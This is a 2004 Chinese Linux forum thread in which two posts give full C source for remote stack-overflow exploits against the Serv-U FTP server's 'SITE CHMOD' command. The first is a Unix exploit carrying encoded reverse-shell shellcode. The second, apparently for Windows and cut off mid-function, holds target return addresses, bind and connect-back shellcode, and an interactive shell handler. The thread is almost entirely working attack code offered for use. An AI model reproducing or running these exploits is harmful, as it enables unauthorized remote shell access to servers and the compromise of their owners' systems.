LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 928|回复: 5

Serv-U FTPD 4.x "SITE CHMOD" overflow Reverse bindshell expl

[复制链接]
发表于 2004-1-30 10:04:13 | 显示全部楼层 |阅读模式
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <arpa/inet.h>
  7. #include <unistd.h>
  8. #include <netdb.h>
  9. #include <fcntl.h>
  10. #include <unistd.h>
  11. #include <signal.h>

  12. #define fatal(x) { perror(x); exit(1); }

  13. unsigned char sc[]={
  14. // reverse bindshell, 204 bytes, uses import table
  15. 0x33,0xC0,0x04,0xB6,0x68,0xE2,0xFA,0xC3,0xCC,0x68,0x80,0x36,0x96,0x46,0x50,0x68,
  16. 0x8B,0x34,0x24,0xB9,0xFF,0xD4,0xF2,0xF1,0x19,0x90,0x96,0x96,0x28,0x6E,0xE5,0xC9,
  17. 0x96,0xFE,0xA5,0xA4,0x96,0x96,0xFE,0xE1,0xE5,0xA4,0xC9,0xC2,0x69,0x83,0xE2,0xE2,
  18. 0xC9,0x96,0x01,0x0F,0xC4,0xC4,0xC4,0xC4,0xD4,0xC4,0xD4,0xC4,0x7E,0x9D,0x96,0x96,
  19. 0x96,0xC1,0xC5,0xD7,0xC5,0xF9,0xF5,0xFD,0xF3,0xE2,0xD7,0x96,0xC1,0x69,0x80,0x69,
  20. 0x46,0x05,0xFE,0xE9,0x96,0x96,0x97,0xFE,0x94,0x96,0x96,0xC6,0x1D,0x52,0xFC,0x86,
  21. 0xC6,0xC5,0x7E,0x9E,0x96,0x96,0x96,0xF5,0xF9,0xF8,0xF8,0xF3,0xF5,0xE2,0x96,0xC1,
  22. 0x69,0x80,0x69,0x46,0xFC,0x86,0xCF,0x1D,0x6A,0xC1,0x95,0x6F,0xC1,0x65,0x3D,0x1D,
  23. 0xAA,0xB2,0xC6,0xC6,0xC6,0xFC,0x97,0xC6,0xC6,0x7E,0x92,0x96,0x96,0x96,0xF5,0xFB,
  24. 0xF2,0x96,0xC6,0x7E,0x99,0x96,0x96,0x96,0xD5,0xE4,0xF3,0xF7,0xE2,0xF3,0xC6,0xE4,
  25. 0xF9,0xF5,0xF3,0xE5,0xE5,0xD7,0x96,0x50,0x91,0xD2,0x51,0xD1,0xBA,0x97,0x97,0x96,
  26. 0x96,0x15,0x51,0xAE,0x05,0x3D,0x3D,0x3D,0xF2,0xF1,0x37,0xA6,0x96,0x1D,0xD6,0x9A,
  27. 0x1D,0xD6,0x8A,0x1D,0x96,0x69,0xE6,0x9E,0x69,0x80,0x69,0x46
  28. };

  29. char *user="anonymous";
  30. char *pass="not@for.you";
  31. char *path="/incoming";

  32. int s, ret;
  33. char *buff;
  34. int verbose=0;
  35. struct sockaddr_in saddr;
  36. int lhost, lport=8888;

  37. void usage(char *argv0) {
  38. printf("usage: %s -d <ip_dest> [options]\n",argv0);
  39. printf("options:\n");
  40. printf(" -d target ip\n");
  41. printf(" -p target port (default 21)\n");
  42. printf(" -u username to log with (default %s)\n",user);
  43. printf(" -s password to log with (default %s)\n",pass);
  44. printf(" -w writable directory (default %s)\n",path);
  45. printf(" -H listening host (default %s)\n", \
  46. inet_ntoa(*(struct in_addr *)&lhost));
  47. printf(" -P listening port on host (default %d)\n",lport);
  48. printf(" -v verbose (set to 1 to enable)\n");
  49. printf("\n");
  50. exit(1);
  51. }

  52. void reads() {
  53. fd_set fds;
  54. struct timeval tv;

  55. __next:
  56. ret=recv(s,buff,4095,0);
  57. memset(buff+ret,0,1);
  58. if (verbose) printf("%s",buff);

  59. FD_ZERO(&fds);
  60. FD_SET(s,&fds);
  61. tv.tv_sec = 1; tv.tv_usec = 0;
  62. if (select(s+1, &fds, NULL, NULL, &tv)!=0)
  63. goto __next;
  64. }

  65. int getip() {
  66. char buff[17]="";
  67. FILE *f;

  68. f=popen("echo -n `/sbin/ifconfig|grep Bcast|" \
  69. "gawk '{\\$0=gensub(/:/," ",1);print $3;exit;}'`","r");
  70. fgets(buff,16,f);
  71. pclose(f);

  72. return inet_addr(buff);
  73. }

  74. void callback(int port) {
  75. fd_set fds;
  76. int s_len=sizeof(saddr);
  77. int sn;

  78. buff=(char *)malloc(4096);

  79. saddr.sin_family = AF_INET;
  80. saddr.sin_addr.s_addr = 0;
  81. saddr.sin_port = htons(port);
  82. printf("[.] setting up listener on port %d..\n",port);
  83. s=socket(2,1,6);
  84. ret=bind(s,(struct sockaddr *)&saddr, sizeof(saddr));
  85. if (ret==-1) {
  86. // we don't want to crash servu if not needed
  87. perror("[-] shell.bind");
  88. kill(getppid(),SIGUSR1);
  89. exit(1);
  90. }
  91. listen(s,1);
  92. sn=accept(s,(struct sockaddr *)&saddr,&s_len);
  93. printf("[+] got connection from %s, entering shell..\n", \
  94. inet_ntoa(*(struct in_addr *)&saddr.sin_addr.s_addr));

  95. while(1) {
  96. FD_ZERO(&fds);
  97. FD_SET(0,&fds);
  98. FD_SET(sn,&fds);

  99. if (select(sn+1, &fds, NULL, NULL, NULL) < 0)
  100. fatal("[-] shell.select ");

  101. if (FD_ISSET(0,&fds)) {
  102. ret = read(1,buff,4096);
  103. send(sn,buff,ret,0);
  104. }

  105. if (FD_ISSET(sn,&fds)) {
  106. if ( (ret=recv(sn,buff,4096,0)) < 1 )
  107. fatal("[-] shell.recv");
  108. write(1,buff,ret);
  109. }

  110. }

  111. }

  112. void killchild() {
  113. printf("[-] got signal from parent, exiting.\n");
  114. exit(1);
  115. }

  116. void killmain() {
  117. printf("[-] got signal from child, exiting.\n");
  118. exit(1);
  119. }

  120. int main(int argc, char **argv) {
  121. short port=21;
  122. int target=0;
  123. int i, pid;

  124. int delta=423;
  125. int callebx=0x10077A92; // libeay32.dll
  126. char jmpback[]="\xe9\xff\xfe\xff\xff\xeb\xf9\x90\x90"; // jmp -256
  127. char chmod[]="SITE CHMOD 777 ";

  128. printf("[%%] Serv-u v4.1.0.0 sploit by mandragore (v2)\n");

  129. lhost=getip();

  130. if (argc<2)
  131. usage(argv[0]);

  132. while((i = getopt(argc, argv, "d:p:u:s:w:H:P:v:"))!= EOF) {
  133. switch (i) {
  134. case 'd':
  135. target=inet_addr(optarg);
  136. break;
  137. case 'p':
  138. port=atoi(optarg);
  139. break;
  140. case 'u':
  141. user=optarg;
  142. break;
  143. case 's':
  144. pass=optarg;
  145. break;
  146. case 'w':
  147. path=optarg;
  148. break;
  149. case 'H':
  150. lhost=inet_addr(optarg);
  151. break;
  152. case 'P':
  153. lport=atoi(optarg);
  154. break;
  155. case 'v':
  156. verbose=atoi(optarg);
  157. break;
  158. default:
  159. usage(argv[0]);
  160. break;
  161. }
  162. }

  163. if ((target==-1) || (lhost==-1) || (lhost==0))
  164. usage(argv[0]);

  165. printf("[.] if working you'll have a shell on %s:%d.\n", \
  166. inet_ntoa(*(struct in_addr *)&lhost),lport);
  167. printf("[.] launching attack on [url]ftp://%s:%s@%s:%d%s\n[/url]", \
  168. user,pass,inet_ntoa(*(struct in_addr *)&target),port,path);

  169. pid=fork();
  170. switch(pid) {
  171. case 0:
  172. signal(SIGUSR1,killchild);
  173. callback(lport);
  174. break;
  175. default:
  176. signal(SIGUSR1,killmain);
  177. break;
  178. }

  179. lport=lport ^ 0x9696;
  180. lport=(lport & 0xff) << 8 | lport >>8;
  181. memcpy(sc+0x5a,&lport,2);

  182. lhost=lhost ^ 0x96969696;
  183. memcpy(sc+0x53,&lhost,4);

  184. buff=(char *)malloc(4096);

  185. saddr.sin_family = AF_INET;
  186. saddr.sin_addr.s_addr = target;
  187. saddr.sin_port = htons(port);

  188. s=socket(2,1,6);

  189. ret=connect(s,(struct sockaddr *)&saddr, sizeof(saddr));
  190. if (ret==-1) {
  191. kill(pid,SIGUSR1); sleep(1);
  192. fatal("[-] connect()");
  193. }
  194. reads();

  195. sprintf(buff,"USER %s\r\n",user);
  196. if (verbose) printf("%s",buff);
  197. send(s,buff,strlen(buff),0);

  198. reads();

  199. sprintf(buff,"PASS %s\r\n",pass);
  200. if (verbose) printf("%s",buff);
  201. send(s,buff,strlen(buff),0);

  202. reads();

  203. if (strstr(buff,"230")==0) {
  204. printf("[-] can't login\n");
  205. exit(1);
  206. } else
  207. printf("[+] logged in.\n");

  208. sprintf(buff,"CWD %s\r\n",path);
  209. if (verbose) printf("%s",buff);
  210. send(s,buff,strlen(buff),0);

  211. reads();

  212. // verify directory
  213. sprintf(buff,"PWD\r\n",path);
  214. send(s,buff,strlen(buff),0);
  215. ret=recv(s,buff,1024,0);
  216. memset(buff+ret,0,1);
  217. i=strstr(buff+5,"\x22")-buff-5;
  218. if (i!=1) i++; // trailing /

  219. printf("[+] sending exploit..\n");

  220. bzero(buff,4096);
  221. memset(buff,0x90,600);
  222. strcat(buff,"\r\n");
  223. delta-=i; // strlen(path);
  224. memcpy(buff,&chmod,strlen(chmod));
  225. memcpy(buff+delta-9-strlen(sc),&sc,strlen(sc));
  226. memcpy(buff+delta-9,&jmpback,5+4);
  227. memcpy(buff+delta,&callebx,4);

  228. send(s,buff,602,0);

  229. ret=recv(s,buff,1024,0);
  230. if ((ret==0) || (ret==-1)) {
  231. kill(pid,SIGUSR1); sleep(1);
  232. sleep(1);
  233. fatal("[+] done");
  234. }

  235. printf("[-] remote servu isn't vulnerable.\n");
  236. memset(buff+ret,0,1);
  237. printf("%s",buff);

  238. close(s);

  239. exit(0);
  240. }
复制代码
 楼主| 发表于 2004-1-30 10:06:35 | 显示全部楼层

这个是windows下的

  1. /*
  2. *-----------------------------------------------------------------------
  3. *
  4. * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
  5. * Remote stack buffer overflow exploit
  6. *
  7. * Copyright (C) 2004 HUC All Rights Reserved.
  8. *
  9. * Author   : lion
  10. *          : [email]lion@cnhonker.net[/email]
  11. *          : [url]http://www.cnhonker.com[/url]
  12. * Date     : 2004-01-25
  13. *          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
  14. * Tested   : Windows 2000 Server EN/GB
  15. *          :         + Serv-U v3.0.0.20~v4.1.0.11
  16. * Notice   : *** Bug find by kkqq [email]kkqq@0x557.org[/email] ***
  17. *          : *** You need a valid account and a writable directory. ***
  18. * Complie  : cl Servu.c
  19. * Usage           : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
  20. *------------------------------------------------------------------------
  21. */

  22. #include <winsock2.h>
  23. #include <windows.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>

  26. #pragma comment(lib, "ws2_32")

  27. // for bind shellcode
  28. #define BIND_OFFSET                91

  29. // for connectback shellcode
  30. #define PORT_OFFSET                95
  31. #define IP_OFFSET                88

  32. #define SEH_OFFSET                0x193        //v3.0.0.20~v4.1.0.11
  33. //#define        SEH_OFFSET                0x133                   // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
  34. #define MAX_LEN                        2048
  35. #define JMP_OVER                "\xeb\x06\xeb\x06"
  36. #define        VERSION                        "1.0"

  37. struct
  38. {
  39.         DWORD        dwJMP;
  40.         char        *szDescription;
  41. }targets[] =
  42. {
  43.         {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"},                //for all GB win2000 and winxp
  44. //        {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},        //wsock32.dll jmp ebx addr
  45. //        {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},        //wsock32.dll jmp ebx addr
  46. //        {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},                //user32.dll jmp ebx addr
  47.         {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},                //for all BG win2000 and winxp       
  48. //        {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},                //setupapi.dll jmp ebx addr
  49.         {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},                //setupapi.dll jmp ebx addr
  50.         {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},                //setupapi.dll jmp ebx addr
  51.         {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
  52. //        {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
  53. },v;


  54. unsigned char        *szSend[4];
  55. unsigned char        szCommand[MAX_LEN];
  56. char                szDirectory[0x100];

  57. // 28 bytes decode by lion, don't change this.
  58. unsigned char decode[]=
  59. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
  60. "\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";

  61. // Shellcode start sign, use for decode, don't change this.
  62. unsigned char sc_start[]=
  63. "lion";

  64. // Shellcode end sign, use for decode, don't change this.
  65. unsigned char sc_end[]=
  66. "li0n";

  67. // 311 bytes bind shellcode by lion (xor with 0x93)
  68. unsigned char sc[]=
  69. "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  70. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
  71. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  72. "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  73. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  74. "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
  75. "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
  76. "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
  77. "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
  78. "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
  79. "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
  80. "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
  81. "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
  82. "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
  83. "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
  84. "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
  85. "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
  86. "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
  87. "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
  88. "\xDA\x15\xDA\x74\xEA\x55\xEA";

  89. // 294 bytes connectback shellcode by lion (xor with 0x93)
  90. unsigned char cbsc[]=
  91. "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  92. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
  93. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  94. "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  95. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  96. "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
  97. "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
  98. "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
  99. "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
  100. "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
  101. "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
  102. "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
  103. "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
  104. "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
  105. "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
  106. "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
  107. "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
  108. "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
  109. "\x39\xF3\x74\xEA\x55\xEA";

  110. void usage(char *p)
  111. {
  112.         int        i;
  113.         printf( "Usage:\t%s\t<-i ip> <-t type>\n"
  114.                 "\t\t[-u user] [-p pass] [-d dir]\n"
  115.                 "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
  116.                 "[type]:\n" , p);       
  117.         for(i=0;i<sizeof(targets)/sizeof(v);i++)
  118.         {
  119.                 printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
  120.         }
  121. }

  122. /* ripped from TESO code and modifed by ey4s for win32 */
  123. void shell (int sock)
  124. {
  125.         int     l;
  126.         char    buf[512];
  127.         struct        timeval time;
  128.         unsigned long        ul[2];

  129.         time.tv_sec = 1;
  130.         time.tv_usec = 0;

  131.         while (1)
  132.         {
  133.                 ul[0] = 1;
  134.                 ul[1] = sock;

  135.                 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  136.                 if(l == 1)
  137.                 {
  138.                         l = recv (sock, buf, sizeof (buf), 0);
  139.                         if (l <= 0)
  140.                         {
  141.                                 printf ("[-] Connection closed.\n");
  142.                                 return;
  143.                         }
  144.                         l = write (1, buf, l);
  145.                         if (l <= 0)
  146.                         {
  147.                                 printf ("[-] Connection closed.\n");
  148.                                 return;
  149.                         }
  150.                 }
  151.                 else
  152.                 {
  153.                         l = read (0, buf, sizeof (buf));
  154.                         if (l <= 0)
  155.                         {
  156.                                 printf("[-] Connection closed.\n");
  157.                                 return;
  158.                         }
  159.                         l = send(sock, buf, l, 0);
  160.                         if (l <= 0)
  161.                         {
  162.                                 printf("[-] Connection closed.\n");
  163.                                 return;
  164.                         }
  165.                 }
  166.         }
  167. }

  168. void main(int argc, char **argv)
  169. {
  170.         struct        sockaddr_in sa, server, client;
  171.         WSADATA        wsd;
  172.         SOCKET        s, s2, s3;
  173.         int        iErr, ret, len;
  174.         char        szRecvBuff[MAX_LEN];
  175.         int        i, j, iType;
  176.         int        iPort=21;
  177.         char        *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
  178.         char        user[128], pass[128];
  179.         BOOL        bCb=FALSE, bLocal=TRUE;
  180.         unsigned short        shport=53, shport2=0;
  181.         unsigned long        cbip;
  182.         unsigned int        timeout=5000, Reuse;
  183.         char        penetrate[255],cbHost2[20];
  184.         int seh_offset;
  185.        
  186.         printf( "Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V%s\r\n"
  187.                 "Bug find by kkqq [email]kkqq@0x557.org[/email], Code By lion (lion@cnhonker.net)\r\n"
  188.                 "Welcome to HUC website [url]http://www.cnhonker.com\r\n\n[/url]"
  189.                          , VERSION);

  190.         seh_offset = SEH_OFFSET;
  191.        
  192.         if(argc < 4)
  193.         {
  194.                 usage(argv[0]);
  195.                 return;
  196.         }

  197.         for(i=1;i<argc;i+=2)
  198.         {
  199.                 if(strlen(argv[i]) != 2)
  200.                 {
  201.                         usage(argv[0]);
  202.                         return;
  203.                 }
  204.                 // check parameter
  205.                 if(i == argc-1)
  206.                 {
  207.                         usage(argv[0]);
  208.                         return;
  209.                 }
  210.                 switch(argv[i][1])
  211.                 {
  212.                         case 'i':
  213.                                 ip=argv[i+1];
  214.                                 break;
  215.                         case 't':
  216.                                 iType = atoi(argv[i+1]);
  217.                                 break;
  218.                         case 'f':
  219.                                 iPort=atoi(argv[i+1]);
  220.                                 break;
  221.                         case 'p':
  222.                                 pPass = argv[i+1];
  223.                                 break;
  224.                         case 'u':
  225.                                 pUser=argv[i+1];
  226.                                 break;
  227.                         case 'c':
  228.                                 cbHost=argv[i+1];
  229.                                 bCb=TRUE;
  230.                                 break;
  231.                         case 's':
  232.                                 shport=atoi(argv[i+1]);
  233.                                 break;
  234.                         case 'd':
  235.                                 if(argv[i+1][0] != '/')
  236.                                         strcpy(szDirectory, "/");
  237.                                 strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
  238.                                
  239.                                 if(szDirectory[strlen(szDirectory)-1] != '/')
  240.                                         strcat(szDirectory, "/");
  241.                                        
  242.                                 // correct the directory len
  243.                                 for(j=0;j<(strlen(szDirectory)-1)%8;j++)
  244.                                         strcat(szDirectory, "x");
  245.                                        
  246.                                 //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
  247.                                 seh_offset = seh_offset - strlen(szDirectory)+1;
  248.                                 break;
  249.                 }
  250.         }

  251.         if((!ip) || (!user) || (!pass))
  252.         {
  253.                 usage(argv[0]);
  254.                 printf("[-] Invalid parameter.\n");
  255.                 return;
  256.         }

  257.         if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
  258.         {
  259.                 usage(argv[0]);
  260.                 printf("[-] Invalid type.\n");
  261.                 return;
  262.         }

  263.         if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
  264.         {
  265.                 usage(argv[0]);
  266.                 printf("[-] Invalid port.\n");
  267.                 return;
  268.         }
  269.        
  270.         _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
  271.         user[sizeof(user)-1]='\0';
  272.         _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
  273.         pass[sizeof(pass)-1]='\0';
  274.         szSend[0] = user;        //user
  275.         szSend[1] = pass;        //pass       
  276.         szSend[2] = penetrate;        //pentrate
  277.         szSend[3] = szCommand;        //shellcode
  278.        
  279.         // Penetrate through the firewall.
  280.         if(bCb && shport > 1024)
  281.         {
  282.                 strncpy(cbHost2, cbHost, 20);
  283.                 for(i=0;i<strlen(cbHost); i++)
  284.                 {
  285.                         if(cbHost[i] == '.')
  286.                                 cbHost2[i] = ',';
  287.                 }
  288.                
  289.                 sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);

  290.                 //printf("%s", penetrate);
  291.         }
  292.         else
  293.         {
  294.                 sprintf(penetrate,"TYPE I\r\n");               
  295.         }

  296.         // fill the "site chmod" command
  297.         strcpy(szCommand, "site chmod 777 ");
  298.        
  299.         // fill the directory
  300.         if(szDirectory[0])
  301.                 strcat(szCommand, szDirectory);

  302.         // fill the egg
  303.         for(i=0;i<seh_offset%8;i++)
  304.                 strcat(szCommand, "\x90");
  305.         //strcat(szCommand, "BBBB");
  306.        
  307.         // fill the seh
  308.         for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
  309.         {
  310.                 strcat(szCommand, JMP_OVER);
  311.                 memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  312.         }
  313.                
  314.         // fill the decode
  315.         strcat(szCommand, decode);

  316.         // fill the shellcode start        sign
  317.         strcat(szCommand, sc_start);

  318.         // fill the shellcode
  319.         if(bCb)
  320.         {
  321.                 // connectback shellcode
  322.                 shport2 = htons(shport)^(u_short)0x9393;
  323.                 cbip = inet_addr(cbHost)^0x93939393;
  324.                 memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
  325.                 memcpy(&cbsc[IP_OFFSET], &cbip, 4);
  326.                 strcat(szCommand, cbsc);               
  327.         }
  328.         else
  329.         {
  330.                 // bind shellcode
  331.                 shport2 = htons(shport)^(u_short)0x9393;
  332.                 memcpy(&sc[BIND_OFFSET], &shport2, 2);
  333.                 strcat(szCommand, sc);
  334.         }

  335.         // fill the shellcode end sign
  336.         strcat(szCommand, sc_end);

  337.         // send end
  338.         strcat(szCommand, "\r\n");

  339.         if(strlen(szCommand) >= sizeof(szCommand))
  340.         {
  341.                 printf("[-] stack buffer overflow.\n");
  342.                 return;
  343.         }
  344.        
  345. //        printf("send size %d:%s", strlen(szCommand), szCommand);
  346.        
  347.         __try
  348.         {
  349.                 if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  350.                 {
  351.                         printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  352.                         __leave;
  353.                 }

  354.                 s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  355.                 if(s == INVALID_SOCKET)
  356.                 {
  357.                         printf("[-] Create socket failed:%d",GetLastError());
  358.                         __leave;
  359.                 }

  360.                 sa.sin_family=AF_INET;
  361.                 sa.sin_port=htons((USHORT)iPort);
  362.                 sa.sin_addr.S_un.S_addr=inet_addr(ip);

  363.                 setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  364.                 iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
  365.                 if(iErr == SOCKET_ERROR)
  366.                 {
  367.                         printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
  368.                         __leave;
  369.                 }
  370.                 printf("[+] Connect to %s:%d success.\n", ip, iPort);
  371.                
  372.                 if(bCb)
  373.                 {
  374.                         Sleep(500);
  375.                         s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

  376.                         server.sin_family=AF_INET;
  377.                         server.sin_addr.S_un.S_addr=inet_addr(cbHost);
  378.                         //server.sin_addr.s_addr=INADDR_ANY;
  379.                         server.sin_port=htons((unsigned short)shport);

  380.                         setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

  381.                         Reuse = 1;
  382.                         setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

  383.                         if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
  384.                         {
  385.                                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
  386.                                 printf("[-] You must run nc get the shell.\n");
  387.                                 bLocal = FALSE;
  388.                                 //closesocket(s2);
  389.                                 //__leave;
  390.                         }
  391.                         else
  392.                         {       
  393.                                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
  394.                                 listen(s2, 1);
  395.                         }
  396.                 }
  397.                
  398.                 for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
  399.                 {
  400.                         memset(szRecvBuff, 0, sizeof(szRecvBuff));
  401.                         iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
  402.                         if(iErr == SOCKET_ERROR)
  403.                         {
  404.                                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
  405.                                 __leave;
  406.                         }
  407.                         printf("[+] Recv: %s", szRecvBuff);
  408.                        
  409.                         if(szRecvBuff[0] == '5')
  410.                         {
  411.                                 printf("[-] Server return a error Message.\r\n");
  412.                                 __leave;
  413.                         }

  414.                         iErr = send(s, szSend[i], strlen(szSend[i]),0);
  415.                         if(iErr == SOCKET_ERROR)
  416.                         {
  417.                                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
  418.                                 __leave;
  419.                         }

  420.                         if(i==sizeof(szSend)/sizeof(szSend[0])-1)
  421.                                 printf("[+] Send shellcode %d bytes.\n", iErr);
  422.                         else
  423.                                 printf("[+] Send: %s", szSend[i]);
  424.                 }

  425.                 printf("[+] If you don't have a shell it didn't work.\n");

  426.                 if(bCb)
  427.                 {
  428.                         if(bLocal)
  429.                         {
  430.                                 printf("[+] Wait for shell...\n");
  431.                        
  432.                                 len = sizeof(client);
  433.                                 s3 = accept(s2, (struct sockaddr*)&client, &len);
  434.                                 if(s3 != INVALID_SOCKET)
  435.                                 {
  436.                                         printf("[+] Exploit success! Good luck! :)\n");
  437.                                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  438.                                         shell(s3);
  439.                                 }
  440.                         }       
  441.                 }
  442.                 else
  443.                 {
  444.                         printf("[+] Connect to shell...\n");
  445.                        
  446.                         Sleep(1000);
  447.                         s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  448.                         server.sin_family = AF_INET;
  449.                         server.sin_port = htons(shport);
  450.                         server.sin_addr.s_addr=inet_addr(ip);

